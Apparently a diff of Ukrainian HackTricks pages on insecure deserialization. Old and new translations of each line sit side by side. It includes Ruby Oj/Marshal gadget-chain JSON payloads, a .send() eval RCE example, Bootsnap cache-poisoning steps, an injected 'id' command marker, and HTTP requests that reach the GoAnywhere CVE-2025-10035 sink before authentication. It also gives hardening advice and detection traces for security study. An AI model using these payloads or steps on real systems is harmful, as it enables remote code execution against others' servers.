У **попередньому коді є вразливість до створеного експлойту**. Тож, якщо ви знайдете щось подібне в .Net додатку, це означає, що, ймовірно, цей додаток також вразливий.\
Отже, параметр **`--test`** дозволяє нам зрозуміти, **які частини коду вразливі** до експлойту десеріалізації, який може створити **ysoserial.net**.
У **попередньому коді є вразливість, яку створює експлойт**. Тому, якщо ви знайдете щось подібне в .Net застосунку, це означає, що, ймовірно, і цей застосунок також вразливий.\
Отже, параметр **`--test`** дозволяє нам зрозуміти **які частини коду вразливі** до експлойту десеріалізації, який може створити **ysoserial.net**.
### ViewState
Подивіться на [цей POST про **те, як спробувати експлуатувати параметр \_\_ViewState .Net**](exploiting-__viewstate-parameter.md), щоб **виконати довільний код.** Якщо ви **вже знаєте секрети**, використані жертвою, [**прочитайте цей пост, щоб дізнатися, як виконати код**](exploiting-__viewstate-knowing-the-secret.md)**.**
Погляньте на [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-__viewstate-parameter.md) щоб **запустити довільний код.** Якщо ви **вже знаєте секрети**, що використовуються на машині жертви, [**прочитайте цю статтю, щоб дізнатися, як виконати код**](exploiting-__viewstate-knowing-the-secret.md).
### Prevention
Щоб зменшити ризики, пов'язані з десеріалізацією в .Net:
- **Уникайте дозволяти потокам даних визначати свої типи об'єктів.** Використовуйте `DataContractSerializer` або `XmlSerializer`, коли це можливо.
- **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Уникайте дозволу потокам даних визначати типи об'єктів.** Використовуйте `DataContractSerializer` або `XmlSerializer`, коли це можливо.
- **Для `JSON.Net`, встановіть `TypeNameHandling` в `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Впровадьте контролі білого списку** за допомогою власного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
- **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
- **Обмежуйте типи, які можуть десеріалізуватися**, усвідомлюючи властиві ризики типів .Net, таких як `System.IO.FileInfo`, який може змінювати властивості файлів на сервері, потенційно призводячи до атак відмови в обслуговуванні.
- **Будьте обережні з типами, що мають ризикові властивості**, як-от `System.ComponentModel.DataAnnotations.ValidationException` з властивістю `Value`, яку можна експлуатувати.
- **Безпечно контролюйте створення екземплярів типів**, щоб запобігти впливу атакуючих на процес десеріалізації, через що навіть `DataContractSerializer` або `XmlSerializer` можуть стати вразливими.
- **Реалізуйте механізми білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` і `JSON.Net`.
- **Будьте в курсі відомих небезпечних deserialization gadgets** у .Net і переконайтеся, що десеріалізатори не створюють екземпляри таких типів.
- **Ізолюйте потенційно ризиковий код** від коду з доступом в інтернет, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` у WPF-застосунках, ненадійним джерелам даних.
### **References**
- Java та .Net JSON десеріалізація **документ:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
У Ruby серіалізація здійснюється за допомогою двох методів у бібліотеці **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, **load**, використовується для повернення байтового потоку назад в об'єкт, процес, відомий як десеріалізація.
У Ruby серіалізація здійснюється двома методами з бібліотеки **marshal**. Перший метод, відомий як **dump**, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Натомість другий метод, **load**, застосовується для відновлення об'єкта з байтового потоку — процес, відомий як десеріалізація.
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:
Для захисту серіалізованих об'єктів **Ruby використовує HMAC (Hash-Based Message Authentication Code)**, що забезпечує цілісність та автентичність даних. Ключ, який використовується для цього, зберігається в одному з наступних місць:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**Загальна десеріалізація Ruby 2.X до RCE гаджетного ланцюга (більше інформації в** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Ruby 2.X generic deserialization to RCE gadget chain (детальніше в** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -871,18 +886,18 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Інша RCE ланцюг для експлуатації Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Інший RCE-ланцюжок для експлуатації Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() метод
### Метод Ruby .send()
Як пояснено в [**цьому звіті про вразливість**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), якщо деякі неочищені дані користувача потрапляють до методу `.send()` об'єкта ruby, цей метод дозволяє **викликати будь-який інший метод** об'єкта з будь-якими параметрами.
Як пояснено в [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), якщо незнешкоджений введений користувачем ввід потрапляє в метод `.send()` об'єкта Ruby, цей метод дозволяє **викликати будь-який інший метод** об'єкта з будь-якими параметрами.
Наприклад, виклик eval, а потім ruby код як другий параметр дозволить виконати довільний код:
Наприклад, виклик eval і передача ruby-коду як другого параметра дозволить виконати довільний код:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Більше того, якщо лише один параметр **`.send()`** контролюється зловмисником, як згадувалося в попередньому описі, можливо викликати будь-який метод об'єкта, який **не потребує аргументів** або аргументи якого мають **значення за замовчуванням**.\
Для цього можливо перерахувати всі методи об'єкта, щоб **знайти деякі цікаві методи, які відповідають цим вимогам**.
Крім того, якщо лише один параметр у **`.send()`** контролюється нападником, як згадано в попередньому writeup, можливо викликати будь-який метод об'єкта, який **не потребує аргументів** або аргументи якого мають **значення за замовчуванням**.\
Для цього можна перерахувати всі методи об'єкта, щоб **знайти деякі цікаві методи, які відповідають цим вимогам**.
```ruby
<Object>.send('<user_input>')
@ -906,23 +921,23 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Ruby class pollution
Перевірте, як це може бути можливим [забруднити клас Ruby та зловживати ним тут](ruby-class-pollution.md).
Перегляньте, як може бути можливим [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
### Ruby _json pollution
Коли в тілі надсилаються деякі значення, які не є хешованими, такі як масив, вони будуть додані в новий ключ під назвою `_json`. Однак, зловмисник також може встановити в тілі значення під назвою `_json` з довільними значеннями, які він бажає. Тоді, якщо бекенд, наприклад, перевіряє достовірність параметра, але потім також використовує параметр `_json` для виконання якоїсь дії, може бути здійснено обхід авторизації.
Коли в body надсилаються не-hashable значення, наприклад масиви, вони будуть додані в новий ключ під назвою `_json`. Однак атакуючий також може в body задати значення з ім'ям `_json` із будь-якими довільними даними. Якщо, наприклад, backend перевіряє достовірність параметра, але потім також використовує параметр `_json` для виконання якоїсь дії, може бути здійснено authorisation bypass.
Перевірте більше інформації на [сторінці Ruby _json pollution](ruby-_json-pollution.md).
Детальніше див. на [Ruby _json pollution page](ruby-_json-pollution.md).
### Інші бібліотеки
Цю техніку було взято [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Ця техніка запозичена [ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція, яку можна зловживати для отримання RCE в основному):
Існують інші Ruby бібліотеки, які можна використати для serialize об'єктів і які, отже, можуть бути зловживані для отримання RCE під час insecure deserialization. У наступній таблиці показано деякі з цих бібліотек і метод, який викликається у завантаженому класі під час unserialization (функція, яку можна зловживати для отримання RCE):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Бібліотека</strong></td><td><strong>Вхідні дані</strong></td><td><strong>Метод запуску всередині класу</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
Basic example:
Базовий приклад:
```ruby
# Existing Ruby class inside the code of the app
class SimpleClass
@ -944,7 +959,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
У випадку спроби зловживання Oj, вдалося знайти клас гаджета, який у своїй функції `hash` викликає `to_s`, що викликає spec, який викликає fetch_path, що дозволяло змусити його отримати випадкову URL-адресу, що є чудовим детектором таких незахищених вразливостей десеріалізації.
При спробі зловживання Oj вдалося знайти gadget class, який всередині своєї функції `hash` викликає `to_s`, що викликає spec, яка, у свою чергу, викликає fetch_path; її можна було змусити отримувати випадковий URL, що дає надійний індикатор таких unsanitized deserialization vulnerabilities.
```json
{
"^o": "URI::HTTP",
@ -956,7 +971,7 @@ Oj.load(json_payload)
"password": "anypw"
}
```
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на зразок:
Крім того, було виявлено, що попередньою технікою в системі також створюється папка, яка є необхідною умовою для зловживання іншим gadget, щоб перетворити це на повний RCE за допомогою чогось на кшталт:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -978,48 +993,51 @@ Oj.load(json_payload)
}
}
```
Перевірте деталі в [**оригінальному пості**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Перегляньте деталі в [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
Це не зовсім вразливість десеріалізації, але гарний трюк для зловживання кешуванням Bootstrap, щоб отримати RCE з Rails-додатку з довільним записом файлів (знайдіть повний [оригінальний пост тут](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Нижче наведено короткий підсумок кроків, детально описаних у статті для експлуатації вразливості довільного запису файлів, зловживаючи кешуванням Bootsnap:
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Визначте вразливість і середовище
- Identify the Vulnerability and Environment
Функціональність завантаження файлів у Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати в каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
Функціонал завантаження файлів у Rails-додатку дозволяє атакуючому записувати файли довільно. Хоча додаток працює з обмеженнями (запис дозволений лише в певні директорії, наприклад tmp, через те, що Docker запускає процес від імені користувача без root), це все одно дозволяє писати в директорію кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
- Зрозумійте механізм кешування Bootsnap
- Understand Bootsnaps Cache Mechanism
Bootsnap прискорює час завантаження Rails, кешуючи скомпільований Ruby-код, YAML та JSON файли. Він зберігає кеш-файли, які містять заголовок кеш-ключа (з полями, такими як версія Ruby, розмір файлу, mtime, параметри компіляції тощо), за яким слідує скомпільований код. Цей заголовок використовується для перевірки кешу під час запуску додатку.
Bootsnap пришвидшує час старту Rails, кешуючи скомпільований Ruby-код, YAML та JSON-файли. Він зберігає файли кешу, які містять заголовок cache key (з полями, як-от версія Ruby, розмір файлу, mtime, compile_option тощо), після якого йде скомпільований код. Цей заголовок використовується для валідації кешу під час запуску додатку.
- Зберіть метадані файлу
- Gather File Metadata
Зловмисник спочатку вибирає цільовий файл, який, ймовірно, завантажується під час запуску Rails (наприклад, set.rb з стандартної бібліотеки Ruby). Виконуючи Ruby-код всередині контейнера, вони витягують критично важливі метадані (такі як RUBY_VERSION, RUBY_REVISION, розмір, mtime та compile_option). Ці дані є важливими для створення дійсного кеш-ключа.
Атакуючий спочатку обирає цільовий файл, який ймовірно завантажується під час старту Rails (наприклад, set.rb із стандартної бібліотеки Ruby). Виконуючи Ruby-код всередині контейнера, він витягує критичні метадані (такі як RUBY_VERSION, RUBY_REVISION, size, mtime та compile_option). Ці дані необхідні для створення валідного cache key.
- Обчисліть шлях до кеш-файлу
- Compute the Cache File Path
Відтворюючи механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де його очікує Bootsnap (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
Відтворивши механізм хешування FNV-1a 64-bit, який використовує Bootsnap, визначається правильний шлях файлу кешу. Цей крок гарантує, що шкідливий файл кешу буде розміщено саме там, де його очікує Bootsnap (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
- Створіть шкідливий кеш-файл
- Craft the Malicious Cache File
Зловмисник готує корисне навантаження, яке:
- Виконує довільні команди (наприклад, виконує id для відображення інформації про процес).
Атакуючий готує payload, який:
- Виконує довільні команди (наприклад, запуск id для показу інформації про процес).
- Видаляє шкідливий кеш після виконання, щоб запобігти рекурсивній експлуатації.
- Завантажує оригінальний файл (наприклад, set.rb), щоб уникнути збоїв у додатку.
- Завантажує оригінальний файл (наприклад, set.rb), щоб уникнути падіння додатку.
Це корисне навантаження компілюється в бінарний Ruby-код і конкатенується з ретельно складеним заголовком кеш-ключа (використовуючи раніше зібрані метадані та правильний номер версії для Bootsnap).
Цей payload компілюється в бінарний Ruby-код і конкатенується з ретельно сформованим заголовком cache key (з використанням раніше зібраних метаданих і правильної версії Bootsnap).
- Перезаписати та викликати виконання
Використовуючи вразливість довільного запису файлів, зловмисник записує підготовлений кеш-файл у обчислене місце. Далі вони викликають перезапуск сервера (записуючи в tmp/restart.txt, який контролюється Puma). Під час перезапуску, коли Rails вимагає цільовий файл, завантажується шкідливий кеш-файл, що призводить до віддаленого виконання коду (RCE).
- Overwrite and Trigger Execution
### Експлуатація Ruby Marshal на практиці (оновлено)
За допомогою уразливості довільного запису файлу атакуючий записує підготовлений файл кешу в обчислене місце. Далі він ініціює перезапуск сервера (наприклад, записом у tmp/restart.txt, який моніторить Puma). Під час перезапуску, коли Rails робить require цільовий файл, завантажується шкідливий файл кешу, що призводить до remote code execution (RCE).
Вважайте будь-який шлях, де ненадійні байти досягають `Marshal.load`/`marshal_load`, як RCE sink. Marshal відновлює довільні графи об'єктів і викликає зворотні виклики бібліотек/гемів під час матеріалізації.
- Мінімальний вразливий шлях коду Rails:
### Ruby Marshal: експлуатація на практиці (оновлено)
Слід вважати будь-який шлях, по якому неперевірені байти потрапляють у `Marshal.load`/`marshal_load`, RCE-сінком. Marshal реконструює довільні графи об’єктів і викликає callbacks бібліотек/gem під час матеріалізації.
- Minimal vulnerable Rails code path:
```ruby
class UserRestoreController < ApplicationController
def show
@ -1033,22 +1051,23 @@ end
end
end
```
- Загальні класи гаджетів, які зустрічаються в реальних ланцюгах: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Типовий маркер побічного ефекту, вбудований у корисні навантаження (виконується під час десеріалізації):
- Поширені gadget classes, які зустрічаються в реальних chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Типовий маркер побічного ефекту, вбудований у payloads (виконується під час unmarshal):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
Де це з'являється в реальних додатках:
- Rails кеш-сховища та сховища сесій історично використовують Marshal
- Фонові завдання та об'єктні сховища з файловою підтримкою
- Будь-яка кастомна персистенція або транспортування бінарних об'єктних блобів
Де це проявляється в реальних додатках:
- Сховища кешу та сховища сесій у Rails, які історично використовують Marshal
- Бекенди фонoвих завдань та файлові сховища об'єктів
- Будь-яка власна персистентність або передача двійкових blob-об'єктів
Індустріалізоване виявлення гаджетів:
- Grep для конструкторів, `hash`, `_load`, `init_with` або методів з побічними ефектами, які викликаються під час розпакування
- Використовуйте запити CodeQL для небезпечної десеріалізації Ruby, щоб відстежити джерела → стоки та виявити гаджети
- Перевірте за допомогою публічних багатоформатних PoC (JSON/XML/YAML/Marshal)
Індустріалізоване виявлення gadget-ланцюгів:
- Шукайте за допомогою grep конструктори, `hash`, `_load`, `init_with` або методи з побічними ефектами, які викликаються під час десеріалізації
- Використовуйте CodeQLs Ruby unsafe deserialization queries, щоб прослідкувати sources → sinks та виявити gadgets
- Перевіряйте за допомогою публічних багатоформатних PoCs (JSON/XML/YAML/Marshal)
## Посилання
## Джерела
- Trail of Bits Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
@ -1064,5 +1083,6 @@ end
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,140 @@
# Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
{{#include ../../banners/hacktricks-training.md}}
Ця сторінка документує поширений «guarded» патерн Java deserialization, побудований навколо java.security.SignedObject, і те, як на перший погляд недосяжні sinks можуть стати pre-auth досяжними через потоки обробки помилок. Техніка була помічена у Fortra GoAnywhere MFT (CVE-2025-10035), але застосовна до подібних реалізацій.
## Модель загрози
- Зловмисник може дістатися HTTP endpoint, який врешті обробляє переданий зловмисником byte[], призначений для serialized SignedObject.
- Код використовує validating wrapper (наприклад, Apache Commons IO ValidatingObjectInputStream або кастомний adapter), щоб обмежити зовнішній тип до SignedObject (або byte[]).
- Внутрішній об'єкт, який повертається SignedObject.getObject(), — це місце, де можуть спрацьовувати gadget chains (наприклад, CommonsBeanutils1), але тільки після проходження перевірки підпису.
## Типовий вразливий патерн
Спрощений приклад на основі com.linoma.license.gen2.BundleWorker.verify:
```java
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
String sigAlg = "SHA1withDSA";
if ("2".equals(keyCfg.getVersion())) {
sigAlg = "SHA512withRSA"; // key version controls algorithm
}
PublicKey pub = getPublicKey(keyCfg);
Signature sig = Signature.getInstance(sigAlg);
// 1) Outer, "guarded" deserialization restricted to SignedObject
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
payload, SignedObject.class, new Class[]{ byte[].class });
if (keyCfg.isServer()) {
// Hardened server path
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
so, SignedContainer.class, new Class[]{ byte[].class }
)).getData();
} else {
// 2) Signature check using a baked-in public key
if (!so.verify(pub, sig)) {
throw new IOException("Unable to verify signature!");
}
// 3) Inner object deserialization (potential gadget execution)
SignedContainer inner = (SignedContainer) so.getObject();
return inner.getData();
}
}
```
Ключові спостереження:
- Валідувальний десеріалізатор у (1) блокує довільні top-level gadget classes; приймається лише SignedObject (або raw byte[]).
- Примітив RCE буде знаходитися в внутрішньому об'єкті, матеріалізованому SignedObject.getObject() у (3).
- Підписовий шлюз у (2) вимагає, щоб SignedObject пройшов verify() проти вбудованого у продукті публічного ключа. Якщо зловмисник не може створити дійсний підпис, внутрішній gadget ніколи не десеріалізується.
## Міркування щодо експлуатації
Щоб досягти виконання коду, зловмисник має доставити правильно підписаний SignedObject, який обгортає ланцюжок malicious gadget як внутрішній об'єкт. Це зазвичай вимагає одного з наступних:
- Компрометація приватного ключа: отримати відповідний приватний ключ, який продукт використовує для підпису/перевірки об'єктів ліцензії.
- Signing oracle: змусити вендора або довірений signing service підписати серіалізований вміст, контрольований зловмисником (наприклад, якщо license server підписує вбудований довільний об'єкт з клієнтського вводу).
- Alternate reachable path: знайти серверний шлях, який десеріалізує внутрішній об'єкт без виклику verify(), або який пропускає перевірки підпису в певному режимі.
За відсутності одного з перелічених, перевірка підпису перешкоджатиме експлуатації незважаючи на наявність десеріалізаційного sink.
## Доступ до десеріалізації до аутентифікації через обробку помилок
Навіть якщо здається, що deserialization endpoint вимагає автентифікації або сесійно-прив'язаний токен, код обробки помилок може ненавмисно згенерувати та приєднати цей токен до неаутентифікованої сесії.
Приклад ланцюжка досяжності (GoAnywhere MFT):
- Цільовий servlet: /goanywhere/lic/accept/<GUID> вимагає сесійно-прив'язаний token запиту ліцензії.
- Шлях помилки: звернення до /goanywhere/license/Unlicensed.xhtml з додатковими даними та некоректним станом JSF запускає AdminErrorHandlerServlet, який робить:
- SessionUtilities.generateLicenseRequestToken(session)
- Перенаправляє на vendor license server із підписаним запитом ліцензії в bundle=<...>
- Bundle можна розшифрувати офлайн (жорстко вбудовані ключі) щоб відновити GUID. Зберігши той самий session cookie і виконавши POST на /goanywhere/lic/accept/<GUID> з байтами bundle, контрольованими зловмисником, досягається SignedObject sink до аутентифікації.
Доказ досяжності (без впливу) — перевірка:
```http
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
Host: <target>
```
- Не виправлено: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
- Виправлено: редирект без bundle (без генерації токена).
## Виявлення для Blue-team
Індикатори у stack traces/logs чітко вказують на спроби звернутися до SignedObject-gated sink:
```
java.io.ObjectInputStream.readObject
java.security.SignedObject.getObject
com.linoma.license.gen2.BundleWorker.verify
com.linoma.license.gen2.BundleWorker.unbundle
com.linoma.license.gen2.LicenseController.getResponse
com.linoma.license.gen2.LicenseAPI.getResponse
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
```
## Рекомендації щодо підвищення безпеки
- Підтримуйте перевірку підпису перед будь-яким викликом getObject() і переконайтеся, що перевірка використовує призначений публічний ключ/алгоритм.
- Замініть прямі виклики SignedObject.getObject() на підсилену обгортку, яка повторно застосовує фільтрацію до внутрішнього потоку (наприклад, deserializeUntrustedSignedObject із ValidatingObjectInputStream/ObjectInputFilter і списками дозволених).
- Видаліть потоки обробників помилок, які видають токени, прив'язані до сесії, для неавторизованих користувачів. Розглядайте шляхи обробки помилок як площу атаки.
- Віддавайте перевагу Java serialization filters (JEP 290) із суворими списками дозволених як для зовнішньої, так і для внутрішньої десеріалізації. Приклад:
```java
ObjectInputFilter filter = info -> {
Class<?> c = info.serialClass();
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
return ObjectInputFilter.Status.REJECTED; // outer layer
};
ObjectInputFilter.Config.setSerialFilter(filter);
// For the inner object, apply a separate strict DTO allow-list
```
## Приклад attack chain — підсумок (CVE-2025-10035)
1) Pre-auth token minting через error handler:
```http
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
```
Отримайте 302 з bundle=... та ASESSIONID=...; decrypt bundle offline щоб відновити GUID.
2) Досягніть sink pre-auth з тим самим cookie:
```http
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
Cookie: ASESSIONID=<value>
Content-Type: application/x-www-form-urlencoded
bundle=<attacker-controlled-bytes>
```
3) Для RCE потрібен правильно підписаний SignedObject, що обгортає gadget chain. Дослідники не змогли обійти перевірку підпису; експлуатація залежить від доступу до відповідного приватного ключа або signing oracle.
## Фіксовані версії та зміни поведінки
- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
- Посилено внутрішню десеріалізацію, замінивши SignedObject.getObject() обгорткою (deserializeUntrustedSignedObject).
- Видалено генерацію токена обробника помилок, що закриває pre-auth досяжність.
## Примітки щодо JSF/ViewState
Трюк з досяжністю використовує JSF-сторінку (.xhtml) та некоректний javax.faces.ViewState, щоб спрямувати виконання в привілейований обробник помилок. Хоча це не є проблемою десеріалізації JSF, це повторюваний pre-auth шаблон: проникнення в обробники помилок, які виконують привілейовані дії та встановлюють сесійні атрибути, що впливають на безпеку.
## References
- [watchTowr Labs Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
- [Fortra advisory FI-2025-012 Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
{{#include ../../banners/hacktricks-training.md}}